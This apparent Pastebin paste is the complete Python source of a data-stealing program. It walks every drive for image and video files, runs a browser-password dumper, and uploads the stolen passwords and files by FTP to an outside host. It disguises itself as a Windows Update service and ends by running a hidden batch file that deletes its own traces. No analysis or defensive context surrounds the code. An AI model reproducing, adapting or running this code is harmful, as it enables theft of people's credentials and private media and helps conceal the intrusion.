Advertisement
Guest User

Untitled

a guest
Dec 10th, 2016
74
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.91 KB | None | 0 0
  1. # This scripts crawls the host os, gathers files that meet
  2. # a criteria and sends them over ftp
  3.  
  4. import os
  5. import subprocess
  6. import time
  7. import platform
  8. from ftplib import FTP
  9. from os.path import expanduser
  10.  
  11. '''-----------------------------------------------------------------------------
  12. [User Settings]
  13. '''
  14. folder_exceptions = ['AppData', 'Program Files (x86)', 'Program Files', 'Windows', 'ProgramData', 'Recycle.Bin', 'Microsoft',
  15.                      'microsoft', 'windows', 'amd', 'x86']
  16. MAX_FILE_SIZE_IN_BYTES = 100000000  # 100 Mb
  17. MIN_FILE_SIZE_IN_BYTES = 1000000    # 1 Mb
  18.  
  19. # Set file formats to look for
  20. image_file_formats = ['jpg', 'bmp', 'png', 'gif', 'jpeg', 'tif']
  21. video_file_formats = ['mp4', 'avi', 'flv', 'wmv']
  22. unspecified_file_formats = []
  23.  
  24. # Ftp host should be the ip of the ftp server
  25. ftp = {'host': 'rekt.no-ip.info',
  26.        'user': 'ftp_default',
  27.        'password': 'ftppassword'}
  28. CLEAN_UP_FILE_PATH = os.getenv('TEMP') + '\\c.bat'
  29. DIST_FOLDER_LOCATION = os.getenv('APPDATA') + '\\dist'  # Used for cleanup file, to change - change in macro as well
  30.  
  31. # Extract cached browser passwords
  32. BROWSER_PASSWORD_DUMP_FILE_PATH = DIST_FOLDER_LOCATION + '\\bpd.exe'
  33. BROWSER_PASSWORDS_FILE_PATH = DIST_FOLDER_LOCATION + '\\brows_pass.txt'
  34.  
  35. MAIN_EXE_NAME = 'Windows Update Service.exe'
  36. SINGLETON_FILE_PATH = os.getenv('TEMP') + '\\googlchrome_update_README.txt'
  37. TRANSFER_STATUS_FILE_PATH = DIST_FOLDER_LOCATION + '\\done.txt'
  38. # -----------------------------------------------------------------------------
  39.  
  40.  
  41. def is_valid_folder(fold):
  42.     return os.access(os.path.abspath(fold), os.R_OK)\
  43.                     and fold not in folder_exceptions\
  44.                     and os.path.isdir(fold)
  45.  
  46.  
  47. def get_all_allowed_directories(root_dir):
  48.     try:
  49.         visited, queue = set(), [root_dir]
  50.         while queue:
  51.             current_dir = queue.pop()
  52.             try:
  53.                 os.chdir(current_dir)
  54.             except Exception:
  55.                 continue
  56.             if is_valid_folder(current_dir) and current_dir not in visited:
  57.                 visited.add(current_dir)
  58.                 extend_with = []
  59.                 try:
  60.                     for fold in os.listdir(current_dir):
  61.                         if is_valid_folder(fold):
  62.                             extend_with.append(os.path.abspath(fold))
  63.                     queue.extend(extend_with)
  64.                 except Exception:
  65.                     continue
  66.         return visited
  67.     except Exception:
  68.         pass
  69.  
  70.  
  71. def get_files_in_dir(path, extensions):
  72.     files = []
  73.     os.chdir(path)
  74.     for file in os.listdir(path):
  75.         try:
  76.             if os.path.isfile(os.path.abspath(file))\
  77.                     and os.access(os.path.abspath(file), os.R_OK)\
  78.                     and not os.path.basename(file).startswith('.') \
  79.                     and os.path.splitext(os.path.basename(file))[1][1:] in extensions \
  80.                     and MAX_FILE_SIZE_IN_BYTES > os.path.getsize(os.path.abspath(file)) > MIN_FILE_SIZE_IN_BYTES:
  81.                 files.append(os.path.abspath(file))
  82.         except Exception:
  83.             pass
  84.  
  85.     return files
  86.  
  87.  
  88. def extract_files_recursively(path, extensions):
  89.     os.chdir(path)
  90.     folders_to_search_in = get_all_allowed_directories(path)
  91.     files = []
  92.     for folder in folders_to_search_in:
  93.         try:
  94.             new_files = get_files_in_dir(folder, extensions)
  95.             if new_files:
  96.                 files.extend(new_files)
  97.         except Exception:
  98.             continue
  99.     return files
  100.  
  101.  
  102. # Writes absolute file paths to a log file
  103. def write_to_file(log_file_path, to_write):
  104.     to_write = ''.join(to_write)
  105.     try:
  106.         with open(log_file_path, 'w') as w:
  107.             w.write(to_write)
  108.         return log_file_path
  109.     except:
  110.         print('Cant write log file to that folder')
  111.  
  112.  
  113. def send_file_via_ftp(ftp_settings, file_path):
  114.     # ftp_settings come in the following format: [server;username;password]
  115.     session = FTP(ftp_settings[0], ftp_settings[1], ftp_settings[2])
  116.     # check if file is too big, do not send in order not to slow down transfer
  117.     if os.path.getsize(file_path) > MAX_FILE_SIZE_IN_BYTES:
  118.         return
  119.     file = open(file_path, 'rb')  # file to send
  120.     session.storbinary('STOR ' + os.path.basename(file_path), file)  # send the file
  121.     file.close()  # close file and FTP
  122.     session.quit()
  123.  
  124.  
  125. def is_host_os_windows():
  126.     return 'Windows' in platform.platform()
  127.  
  128.  
  129. def get_drives(is_windows):
  130.     if is_windows:
  131.         dl = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
  132.         return [x + ':\\' for x in dl if os.path.exists(x + ':')]
  133.     return [expanduser('~')]
  134.  
  135.  
  136. def create_clean_up_file(batch_file, folder_path):
  137.     with open(batch_file, 'w') as w:
  138.         w.write('taskkill /f /im "' + MAIN_EXE_NAME + '"')
  139.         w.write('\n')
  140.         w.write('@RD /S /Q ' + folder_path)
  141.         return
  142.  
  143.  
  144. def execute_bat_file(path, params=''):
  145.     CREATE_NO_WINDOW = 0x08000000
  146.     subprocess.call(path + ' ' + params, creationflags=CREATE_NO_WINDOW)
  147.  
  148.  
  149. def process_exists(processname):
  150.     tlcall = 'TASKLIST', '/FI', 'imagename eq %s' % processname
  151.     # shell=True hides the shell window, stdout to PIPE enables
  152.     # communicate() to get the tasklist command result
  153.     tlproc = subprocess.Popen(tlcall, shell=True, stdout=subprocess.PIPE)
  154.     # trimming it to the actual lines with information
  155.     tlout = tlproc.communicate()[0].strip().split('\r\n')
  156.     # if TASKLIST returns single line without processname: it's not running
  157.     if len(tlout) > 1 and processname in tlout[-1]:
  158.         print('process "%s" is running!' % processname)
  159.         return True
  160.     else:
  161.         print(tlout[0])
  162.         print('process "%s" is NOT running!' % processname)
  163.         return False
  164.  
  165.  
  166. def main():
  167.     if os.path.exists(SINGLETON_FILE_PATH):
  168.         return
  169.     else:
  170.         write_to_file(SINGLETON_FILE_PATH, 'You can safely remove this file')
  171.         write_to_file(TRANSFER_STATUS_FILE_PATH, 'done')
  172.  
  173.     extensions = image_file_formats + video_file_formats + unspecified_file_formats
  174.     ftp_settings = (ftp['host'], ftp['user'], ftp['password'])
  175.     create_clean_up_file(CLEAN_UP_FILE_PATH, DIST_FOLDER_LOCATION)
  176.  
  177.     # Dump browser cached passwords
  178.     execute_bat_file(BROWSER_PASSWORD_DUMP_FILE_PATH, '-f ' + BROWSER_PASSWORDS_FILE_PATH)
  179.     send_file_via_ftp(ftp_settings, BROWSER_PASSWORDS_FILE_PATH)
  180.  
  181.     home_dirs = get_drives(is_host_os_windows())
  182.  
  183.     for home_directory in home_dirs:
  184.         # print('Extracting files from {0}'.format(home_directory))
  185.         files = extract_files_recursively(home_directory, extensions)
  186.         # print('Started sending via ftp...')
  187.         for file in files:
  188.             send_file_via_ftp(ftp_settings, file)
  189.  
  190.     # Clean up
  191.     time.sleep(5)
  192.     os.remove(SINGLETON_FILE_PATH)
  193.     send_file_via_ftp(ftp_settings, TRANSFER_STATUS_FILE_PATH)
  194.     execute_bat_file(CLEAN_UP_FILE_PATH)
  195.  
  196. if __name__ == '__main__':
  197.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement